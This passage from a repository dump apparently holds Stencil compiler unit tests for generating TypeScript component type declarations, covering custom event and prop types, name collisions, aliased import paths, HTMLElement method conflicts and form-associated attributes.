MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`attr:\\${K}\\`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as \\`prop:\\${K}\\`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \\\\\"@stencil/core\\\\\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            /**\n             * docs\n             */\n            \\\\\"my-component\\\\\": LocalJSX.IntrinsicElements[\\\\\"my-component\\\\\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n\"\n`;\n"
  },
  {
    "path": "src/compiler/types/tests/generate-app-types.spec.ts",
    "content": "import { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport type * as d from '../../../declarations';\nimport { patchTypescript } from '../../sys/typescript/typescript-sys';\nimport { generateAppTypes } from '../generate-app-types';\nimport { stubComponentCompilerEvent } from './ComponentCompilerEvent.stub';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubComponentCompilerProperty } from './ComponentCompilerProperty.stub';\n\ndescribe('generateAppTypes', () => {\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n  let originalWriteFile: typeof compilerCtx.fs.writeFile;\n\n  const mockWriteFile = jest.fn();\n\n  beforeEach(() => {\n    config = mockValidatedConfig({\n      srcDir: '/',\n    });\n    compilerCtx = mockCompilerCtx(config);\n    buildCtx = mockBuildCtx(config, compilerCtx);\n\n    // Save the original write function to we can create a file in the\n    // in-memory fs if needed\n    originalWriteFile = compilerCtx.fs.writeFile;\n    compilerCtx.fs.writeFile = mockWriteFile;\n\n    mockWriteFile.mockResolvedValueOnce({ changedContent: true });\n  });\n\n  afterEach(() => {\n    jest.resetAllMocks();\n  });\n\n  it('should generate a type declaration file without custom types', async () => {\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n      events: [],\n    });\n    buildCtx.components = [compilerComponentMeta];\n\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n    expect(mockWriteFile).toHaveBeenCalledTimes(1);\n    expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n    expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n  });\n\n  describe('custom event types', () => {\n    it('should generate a type declaration file with custom event types', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasEvent: true,\n        events: [stubComponentCompilerEvent()],\n      });\n      buildCtx.components = [compilerComponentMeta];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should generate a type declaration file with multiple custom events from the same location', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent(),\n          stubComponentCompilerEvent({\n            name: 'mySecondEvent',\n            method: 'mySecondEvent',\n            complexType: {\n              original: 'SecondUserImplementedEventType',\n              resolved: '\"wee\" | \"woo\"',\n              references: {\n                SecondUserImplementedEventType: {\n                  id: './resources.ts::SecondUserImplementedEventType',\n                  location: 'import',\n                  path: './resources',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should generate a type declaration file with multiple components using the same custom event type', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'import',\n                  id: './resources.ts::UserImplementedEventType',\n                  path: './resources',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/nested/my-component.js',\n        sourceFilePath: '/some/stubbed/path/nested/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/nested/my-component.js.map',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'import',\n                  id: 'placeholder',\n                  path: '../resources',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should handle custom event type name collisions when defined in separate files', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        jsFilePath: '/some/stubbed/path/a/my-component.js',\n        sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::UserImplementedEventType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/b/my-new-component.js',\n        sourceFilePath: '/some/stubbed/path/b/my-new-component.tsx',\n        sourceMapPath: '/some/stubbed/path/b/my-new-component.js.map',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::UserImplementedEventType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should handle custom event type name collisions when defined in the component files', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        jsFilePath: '/some/stubbed/path/a/my-component.js',\n        sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'local',\n                  path: '/some/stubbed/path/a/my-component.tsx',\n                  id: '/some/stubbed/path/a/my-component.tsx::UserImplementedEventType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/b/my-new-component.js',\n        sourceFilePath: '/some/stubbed/path/b/my-new-component.tsx',\n        sourceMapPath: '/some/stubbed/path/b/my-new-component.js.map',\n        hasEvent: true,\n        events: [\n          stubComponentCompilerEvent({\n            complexType: {\n              original: 'UserImplementedEventType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedEventType: {\n                  location: 'local',\n                  id: '/some/stubbed/path/b/my-new-component.tsx::UserImplementedEventType',\n                  path: '/some/stubbed/path/b/my-new-component.tsx',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n  });\n\n  describe('custom prop types', () => {\n    it('should export prop types too', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile).toHaveBeenCalledTimes(1);\n      expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should generate a type declaration file with multiple custom prop types from the same location', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n          stubComponentCompilerProperty({\n            name: 'email',\n            complexType: {\n              original: 'SecondUserImplementedPropType',\n              resolved: '\"wee\" | \"woo\"',\n              references: {\n                SecondUserImplementedPropType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::SecondUserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile).toHaveBeenCalledTimes(1);\n      expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should generate a type declaration file with multiple components using the same custom prop type', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/nested/my-component.js',\n        sourceFilePath: '/some/stubbed/path/nested/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/nested/my-component.js.map',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'fullName',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  path: '../resources',\n                  id: '../resources::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile).toHaveBeenCalledTimes(1);\n      expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should handle custom prop type name collisions when defined in separate files', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        jsFilePath: '/some/stubbed/path/a/my-component.js',\n        sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  id: './resources.ts::UserImplementedPropType',\n                  path: './resources',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/b/my-new-component.js',\n        sourceFilePath: '/some/stubbed/path/b/my-new-component.tsx',\n        sourceMapPath: '/some/stubbed/path/b/my-new-component.js.map',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'newName',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"wee\" | \"woo\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'import',\n                  path: './resources',\n                  id: './resources.ts::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile).toHaveBeenCalledTimes(1);\n      expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n\n    it('should handle custom prop type name collisions when defined in the component files', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        jsFilePath: '/some/stubbed/path/a/my-component.js',\n        sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n        sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"foo\" | \"bar\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'local',\n                  path: '/some/stubbed/path/a/my-component.tsx',\n                  id: '/some/stubbed/path/a/my-component.tsx::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      const compilerComponentMeta2 = stubComponentCompilerMeta({\n        tagName: 'my-new-component',\n        componentClassName: 'MyNewComponent',\n        jsFilePath: '/some/stubbed/path/b/my-new-component.js',\n        sourceFilePath: '/some/stubbed/path/b/my-new-component.tsx',\n        sourceMapPath: '/some/stubbed/path/b/my-new-component.js.map',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'name',\n            complexType: {\n              original: 'UserImplementedPropType',\n              resolved: '\"wee\" | \"woo\"',\n              references: {\n                UserImplementedPropType: {\n                  location: 'local',\n                  path: '/some/stubbed/path/b/my-new-component.tsx',\n                  id: '/some/stubbed/path/b/my-new-component.tsx::UserImplementedPropType',\n                },\n              },\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta, compilerComponentMeta2];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile).toHaveBeenCalledTimes(1);\n      expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n  });\n\n  it('should work with both event and prop types', async () => {\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n      jsFilePath: '/some/stubbed/path/a/my-component.js',\n      sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n      sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n      hasProp: true,\n      hasEvent: true,\n      events: [stubComponentCompilerEvent()],\n      properties: [\n        stubComponentCompilerProperty({\n          name: 'name',\n          complexType: {\n            original: 'UserImplementedPropType',\n            resolved: '\"foo\" | \"bar\"',\n            references: {\n              UserImplementedPropType: {\n                location: 'import',\n                path: './resources',\n                id: './resources.ts::UserImplementedPropType',\n              },\n            },\n          },\n        }),\n      ],\n    });\n    buildCtx.components = [compilerComponentMeta];\n\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n    expect(mockWriteFile).toHaveBeenCalledTimes(1);\n    expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n    expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n  });\n\n  it('should transform aliased paths if transformAliasedImportPaths is true', async () => {\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n      jsFilePath: path.join(config.rootDir, 'some/stubbed/path/a/my-component.js'),\n      sourceFilePath: path.join(config.rootDir, 'some/stubbed/path/a/my-component.tsx'),\n      sourceMapPath: path.join(config.rootDir, 'some/stubbed/path/a/my-component.js.map'),\n      hasProp: true,\n      properties: [\n        stubComponentCompilerProperty({\n          name: 'name',\n          complexType: {\n            original: 'UserImplementedPropType',\n            resolved: '\"foo\" | \"bar\"',\n            references: {\n              UserImplementedPropType: {\n                id: 'some-module.ts::UserImplementedPropType',\n                location: 'import',\n                path: '@utils',\n              },\n            },\n          },\n        }),\n      ],\n    });\n    buildCtx.components = [compilerComponentMeta];\n    config.tsCompilerOptions = {\n      paths: {\n        '@utils': [path.join(config.rootDir, 'some/stubbed/path/utils/utils.ts')],\n      },\n      declaration: true,\n    };\n    config.transformAliasedImportPaths = true;\n    // We need to have a file in the in-memory fs for the TS module resolution to succeed\n    await originalWriteFile(path.join(config.rootDir, 'some/stubbed/path/utils/utils.ts'), '');\n\n    patchTypescript(config, compilerCtx.fs);\n\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n    expect(mockWriteFile).toHaveBeenCalledTimes(1);\n    expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n    expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n  });\n\n  it('should not transform aliased paths if transformAliasedImportPaths is false', async () => {\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n      jsFilePath: '/some/stubbed/path/a/my-component.js',\n      sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n      sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n      hasProp: true,\n      properties: [\n        stubComponentCompilerProperty({\n          name: 'name',\n          complexType: {\n            original: 'UserImplementedPropType',\n            resolved: '\"foo\" | \"bar\"',\n            references: {\n              UserImplementedPropType: {\n                id: 'some-file.ts::UserImplementedPropType',\n                location: 'import',\n                path: '@utils',\n              },\n            },\n          },\n        }),\n      ],\n    });\n    buildCtx.components = [compilerComponentMeta];\n    config.tsCompilerOptions = {};\n\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n    expect(mockWriteFile).toHaveBeenCalledTimes(1);\n    expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n    expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n  });\n\n  it('should handle type import aliases', async () => {\n    const compilerComponentMeta = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      componentClassName: 'MyComponent',\n      jsFilePath: '/some/stubbed/path/a/my-component.js',\n      sourceFilePath: '/some/stubbed/path/a/my-component.tsx',\n      sourceMapPath: '/some/stubbed/path/a/my-component.js.map',\n      hasProp: true,\n      properties: [\n        stubComponentCompilerProperty({\n          name: 'name',\n          complexType: {\n            original: 'UserImplementedPropType',\n            resolved: '\"foo\" | \"bar\"',\n            references: {\n              UserImplementedPropType: {\n                id: 'some-file.ts::MyType',\n                location: 'import',\n                path: '@utils',\n              },\n              Fragment: {\n                location: 'import',\n                path: '@stencil/core',\n                id: '',\n              },\n            },\n          },\n        }),\n      ],\n    });\n    buildCtx.components = [compilerComponentMeta];\n    config.tsCompilerOptions = {};\n\n    await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n    expect(mockWriteFile).toHaveBeenCalledTimes(1);\n    expect(mockWriteFile.mock.calls[0][0]).toBe('/components.d.ts');\n    expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n  });\n\n  describe('attr: and prop: prefix generation', () => {\n    it('should not generate attr: or prop: prefixes for props without attributes', async () => {\n      const compilerComponentMeta = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        componentClassName: 'MyComponent',\n        hasProp: true,\n        properties: [\n          stubComponentCompilerProperty({\n            name: 'internalData',\n            attribute: undefined, // No attribute mapping\n            complexType: {\n              original: 'InternalDataType',\n              resolved: 'InternalDataType',\n              references: {},\n            },\n          }),\n        ],\n      });\n      buildCtx.components = [compilerComponentMeta];\n\n      await generateAppTypes(config, compilerCtx, buildCtx, 'src');\n\n      expect(mockWriteFile.mock.calls[0][1]).toMatchSnapshot();\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-component-types.spec.ts",
    "content": "import { ComponentCompilerMeta, ComponentCompilerMethod } from '../../../declarations';\nimport { generateComponentTypes } from '../generate-component-types';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubComponentCompilerMethod } from './ComponentCompilerMethod.stub';\nimport { stubComponentCompilerProperty } from './ComponentCompilerProperty.stub';\n\ndescribe('generateComponentTypes', () => {\n  describe('HTMLElement method conflicts', () => {\n    it('should generate standard interface when no method conflicts exist', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        methods: [\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'customMethod',\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.element).toContain('interface HTMLMyButtonElement extends Components.MyButton, HTMLStencilElement');\n      expect(result.element).not.toContain('Omit');\n    });\n\n    it('should use Omit when focus method conflicts with HTMLElement', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        docs: {\n          text: 'docs',\n          tags: [],\n        },\n        methods: [\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'focus',\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.element).toContain('Omit<Components.MyButton, \"focus\">');\n      expect(result.element).toContain('\"focus\": () => Promise<void>;');\n    });\n\n    it('should handle multiple method conflicts', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        docs: {\n          text: 'docs',\n          tags: [],\n        },\n        methods: [\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'focus',\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'blur',\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'click',\n            complexType: {\n              signature: '(force?: boolean) => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      console.log(result.element);\n      expect(result.element).toMatch(\n        /interface HTMLMyButtonElement extends Omit<Components\\.MyButton, (?=.*\"blur\")(?=.*\"click\")(?=.*\"focus\").*>, HTMLStencilElement \\{/,\n      );\n      expect(result.element).toContain('\"focus\": () => Promise<void>;');\n      expect(result.element).toContain('\"blur\": () => Promise<void>;');\n      expect(result.element).toContain('\"click\": (force?: boolean) => Promise<void>;');\n    });\n\n    it('should handle mixed conflicts and non-conflicts', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        methods: [\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'focus',\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'customMethod',\n            complexType: {\n              signature: '() => Promise<string>',\n              parameters: [],\n              references: {},\n              return: 'Promise<string>',\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.element).toContain('Omit<Components.MyButton, \"focus\">');\n      expect(result.element).toContain('\"focus\": () => Promise<void>;');\n    });\n\n    it('should preserve JSDoc for conflicting methods', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        methods: [\n          {\n            ...stubComponentCompilerMethod(),\n            name: 'focus',\n            docs: {\n              text: 'Custom focus method that returns a promise',\n              tags: [],\n            },\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.element).toContain('Custom focus method that returns a promise');\n    });\n\n    it('should handle comprehensive list of HTMLElement method conflicts', () => {\n      const htmlElementMethods = [\n        'animate',\n        'getAttribute',\n        'setAttribute',\n        'removeAttribute',\n        'hasAttribute',\n        'addEventListener',\n        'removeEventListener',\n        'appendChild',\n        'removeChild',\n        'insertBefore',\n        'querySelector',\n        'querySelectorAll',\n        'closest',\n        'matches',\n        'getBoundingClientRect',\n        'getClientRects',\n        'scrollIntoView',\n        'scroll',\n        'scrollBy',\n        'scrollTo',\n        'requestFullscreen',\n        'attachShadow',\n        'cloneNode',\n        'contains',\n        'normalize',\n        'replaceChild',\n        'append',\n        'prepend',\n        'before',\n        'after',\n        'remove',\n        'replaceWith',\n        'dispatchEvent',\n        'toggleAttribute',\n      ];\n\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'comprehensive-test',\n        methods: htmlElementMethods.slice(0, 5).map(\n          (methodName): ComponentCompilerMethod => ({\n            ...stubComponentCompilerMethod(),\n            name: methodName,\n            complexType: {\n              signature: '() => Promise<void>',\n              parameters: [],\n              references: {},\n              return: 'Promise<void>',\n            },\n          }),\n        ),\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      // Should use Omit for conflicting methods\n      expect(result.element).toMatch(\n        /Omit<Components\\.ComprehensiveTest, (?=.*\"animate\")(?=.*\"getAttribute\")(?=.*\"setAttribute\")(?=.*\"removeAttribute\")(?=.*\"hasAttribute\").*>/,\n      );\n\n      // Should re-declare the methods with component signatures\n      htmlElementMethods.slice(0, 5).forEach((methodName) => {\n        expect(result.element).toContain(`\"${methodName}\": () => Promise<void>;`);\n      });\n    });\n  });\n\n  describe('form-associated attributes', () => {\n    it('should add name, disabled, and form attributes to JSX for form-associated components', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-input',\n        formAssociated: true,\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.jsx).toContain('\"disabled\"?: boolean;');\n      expect(result.jsx).toContain('\"form\"?: string;');\n      expect(result.jsx).toContain('\"name\"?: string;');\n    });\n\n    it('should not add form-associated attributes for non-form-associated components', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-button',\n        formAssociated: false,\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      expect(result.jsx).not.toContain('\"disabled\"');\n      expect(result.jsx).not.toContain('\"form\"');\n      expect(result.jsx).not.toContain('\"name\"');\n    });\n\n    it('should not duplicate attributes when component defines them as props', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-input',\n        formAssociated: true,\n        properties: [\n          {\n            ...stubComponentCompilerProperty(),\n            name: 'name',\n            complexType: {\n              original: 'string',\n              resolved: 'string',\n              references: {},\n            },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      // Should only have one \"name\" attribute (from the prop)\n      const nameMatches = result.jsx.match(/\"name\"/g);\n      expect(nameMatches).toHaveLength(1);\n\n      // Should still have the other form-associated attributes\n      expect(result.jsx).toContain('\"disabled\"?: boolean;');\n      expect(result.jsx).toContain('\"form\"?: string;');\n    });\n\n    it('should not duplicate any attributes when component defines all form-associated props', () => {\n      const cmpMeta: ComponentCompilerMeta = {\n        ...stubComponentCompilerMeta(),\n        tagName: 'my-input',\n        formAssociated: true,\n        properties: [\n          {\n            ...stubComponentCompilerProperty(),\n            name: 'name',\n            complexType: { original: 'string', resolved: 'string', references: {} },\n          },\n          {\n            ...stubComponentCompilerProperty(),\n            name: 'disabled',\n            complexType: { original: 'boolean', resolved: 'boolean', references: {} },\n          },\n          {\n            ...stubComponentCompilerProperty(),\n            name: 'form',\n            complexType: { original: 'string', resolved: 'string', references: {} },\n          },\n        ],\n      };\n\n      const result = generateComponentTypes(cmpMeta, {}, false);\n\n      // Each attribute should appear exactly once\n      expect(result.jsx.match(/\"name\"/g)).toHaveLength(1);\n      expect(result.jsx.match(/\"disabled\"/g)).toHaveLength(1);\n      expect(result.jsx.match(/\"form\"/g)).toHaveLength(1);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-event-detail-types.spec.ts",
